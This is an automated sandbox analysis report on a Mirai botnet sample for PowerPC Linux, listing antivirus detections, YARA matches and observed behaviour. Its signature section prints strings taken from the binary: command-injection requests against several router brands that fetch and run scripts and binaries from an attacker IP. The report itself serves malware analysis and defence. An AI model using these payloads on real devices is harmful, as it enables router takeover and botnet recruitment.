Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
2EH9KnMcj7

Overview

General Information

Sample Name:2EH9KnMcj7
Analysis ID:679615
MD5:85455cd1f6a69942e7432acdb3b15d70
SHA1:b3e68c30a45963c609e8d8f601cbc0e60e8181a6
SHA256:d56021eaf57dc41b3e3525d8137c2fd7055d54cdfc989e7bb5a571bea3cd2a52
Tags:32elfmiraipowerpc
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679615
Start date and time: 06/08/202206:24:332022-08-06 06:24:33 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 19s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:2EH9KnMcj7
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.troj.lin@0/0@0/0
  • VT rate limit hit for: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
Command:/tmp/2EH9KnMcj7
PID:6234
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
2EH9KnMcj7SUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x19d44:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19db4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19e24:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19e94:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19f04:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a174:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a1c8:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a21c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a270:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a2c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
2EH9KnMcj7JoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6237.1.00007fd71802d000.00007fd71802e000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6234.1.00007fd71802d000.00007fd71802e000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6237.1.00007fd718001000.00007fd71801c000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x19d44:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19db4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19e24:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19e94:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19f04:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a174:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a1c8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a21c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a270:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a2c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6237.1.00007fd718001000.00007fd71801c000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6234.1.00007fd718001000.00007fd71801c000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x19d44:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x19db4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x19e24:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x19e94:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x19f04:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a174:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a1c8:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a21c:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a270:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a2c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      Click to see the 1 entries
      No Snort rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: 2EH9KnMcj7Avira: detected
      Source: 2EH9KnMcj7Virustotal: Detection: 59%Perma Link
      Source: 2EH9KnMcj7Metadefender: Detection: 31%Perma Link
      Source: 2EH9KnMcj7ReversingLabs: Detection: 61%
      Source: /tmp/2EH9KnMcj7 (PID: 6234)Socket: 127.0.0.1::44455Jump to behavior
      Source: 2EH9KnMcj7String found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
      Source: 2EH9KnMcj7String found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
      Source: 2EH9KnMcj7String found in binary or memory: http://purenetworks.com/HNAP1/
      Source: 2EH9KnMcj7String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: 2EH9KnMcj7String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
      Source: 2EH9KnMcj7, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6237.1.00007fd71802d000.00007fd71802e000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6234.1.00007fd71802d000.00007fd71802e000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6237.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6234.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: Initial samplePotential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
      Source: Initial samplePotential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
      Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+*;sh+Jaws.sh HTTP/1.1
      Source: Initial samplePotential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
      Source: Initial samplePotential command found: GET /index.php?s=/index/hink
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
      Source: classification engineClassification label: mal64.troj.lin@0/0@0/0
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6196/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1582/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2033/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2275/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/3088/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6193/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1612/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1579/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1699/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1335/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1698/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2028/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1334/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1576/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2302/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/3236/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2025/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2146/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/910/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/912/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/517/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/759/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2307/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/918/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6243/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6242/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6244/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6247/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1594/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2285/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2281/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1349/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1623/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/761/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1622/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/884/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1983/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2038/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1344/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1465/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1586/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1463/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2156/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/800/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6238/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/801/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1629/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1627/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1900/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6252/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6251/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6255/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6257/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/3021/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/491/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2294/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2050/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1877/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/772/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1633/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1599/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1632/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/774/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1477/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/654/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/896/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1476/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1872/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2048/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/655/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1475/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2289/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/656/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/777/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/657/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/4466/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6249/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/658/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/4467/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/4468/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/4469/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/419/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/936/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1639/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/4503/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1638/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2208/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2180/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6262/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6267/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6266/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1809/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6268/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1494/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1890/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2063/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/2062/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/6260/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1888/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1886/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/420/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1489/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/785/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/1642/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6236)File opened: /proc/788/exeJump to behavior
      Source: /tmp/2EH9KnMcj7 (PID: 6234)Queries kernel information via 'uname': Jump to behavior
      Source: 2EH9KnMcj7, 6234.1.0000561da275d000.0000561da280d000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
      Source: 2EH9KnMcj7, 6237.1.0000561da275d000.0000561da280d000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1
      Source: 2EH9KnMcj7, 6234.1.0000561da275d000.0000561da280d000.rw-.sdmp, 2EH9KnMcj7, 6237.1.0000561da275d000.0000561da280d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
      Source: 2EH9KnMcj7, 6234.1.00007ffc0d2cd000.00007ffc0d2ee000.rw-.sdmp, 2EH9KnMcj7, 6237.1.00007ffc0d2cd000.00007ffc0d2ee000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc
      Source: 2EH9KnMcj7, 6234.1.00007ffc0d2cd000.00007ffc0d2ee000.rw-.sdmp, 2EH9KnMcj7, 6237.1.00007ffc0d2cd000.00007ffc0d2ee000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-ppc/tmp/2EH9KnMcj7SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2EH9KnMcj7

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 2EH9KnMcj7, type: SAMPLE
      Source: Yara matchFile source: 6237.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6234.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: 2EH9KnMcj7, type: SAMPLE
      Source: Yara matchFile source: 6237.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6234.1.00007fd718001000.00007fd71801c000.r-x.sdmp, type: MEMORY
      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts1
      Command and Scripting Interpreter
      Path InterceptionPath InterceptionDirect Volume Access1
      OS Credential Dumping
      11
      Security Software Discovery
      Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 679615 Sample: 2EH9KnMcj7 Startdate: 06/08/2022 Architecture: LINUX Score: 64 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 7 2EH9KnMcj7 2->7         started        process3 process4 9 2EH9KnMcj7 7->9         started        11 2EH9KnMcj7 7->11         started        13 2EH9KnMcj7 7->13         started        process5 15 2EH9KnMcj7 9->15         started        17 2EH9KnMcj7 9->17         started        19 2EH9KnMcj7 9->19         started        21 11 other processes 9->21
      SourceDetectionScannerLabelLink
      2EH9KnMcj759%VirustotalBrowse
      2EH9KnMcj731%MetadefenderBrowse
      2EH9KnMcj762%ReversingLabsLinux.Trojan.Mirai
      2EH9KnMcj7100%AviraLINUX/Mirai.bonb
      No Antivirus matches
      No Antivirus matches
      SourceDetectionScannerLabelLink
      http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
      http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
      http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
      http://purenetworks.com/HNAP1/0%URL Reputationsafe
      http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
      http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://46.23.109.47/Cloud/Gpon.sh2EH9KnMcj7true
      • 19%, Virustotal, Browse
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Cloud.x862EH9KnMcj7true
      • 18%, Virustotal, Browse
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=10392301142EH9KnMcj7true
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI2EH9KnMcj7true
      • Avira URL Cloud: malware
      unknown
      http://schemas.xmlsoap.org/soap/encoding/2EH9KnMcj7false
        high
        http://46.23.109.47/Cloud/Cloud.mpsl;chmod2EH9KnMcj7true
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Cloud.mips;2EH9KnMcj7true
        • Avira URL Cloud: malware
        unknown
        http://purenetworks.com/HNAP1/2EH9KnMcj7false
        • URL Reputation: safe
        unknown
        http://0.0.0.0/Cloud/Cloud.x862EH9KnMcj7false
        • Avira URL Cloud: safe
        unknown
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$2EH9KnMcj7true
        • Avira URL Cloud: malware
        unknown
        http://schemas.xmlsoap.org/soap/envelope/2EH9KnMcj7false
          high
          No contacted IP infos
          No context
          No context
          No context
          No context
          No context
          No created / dropped files found
          File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
          Entropy (8bit):6.486095590216808
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
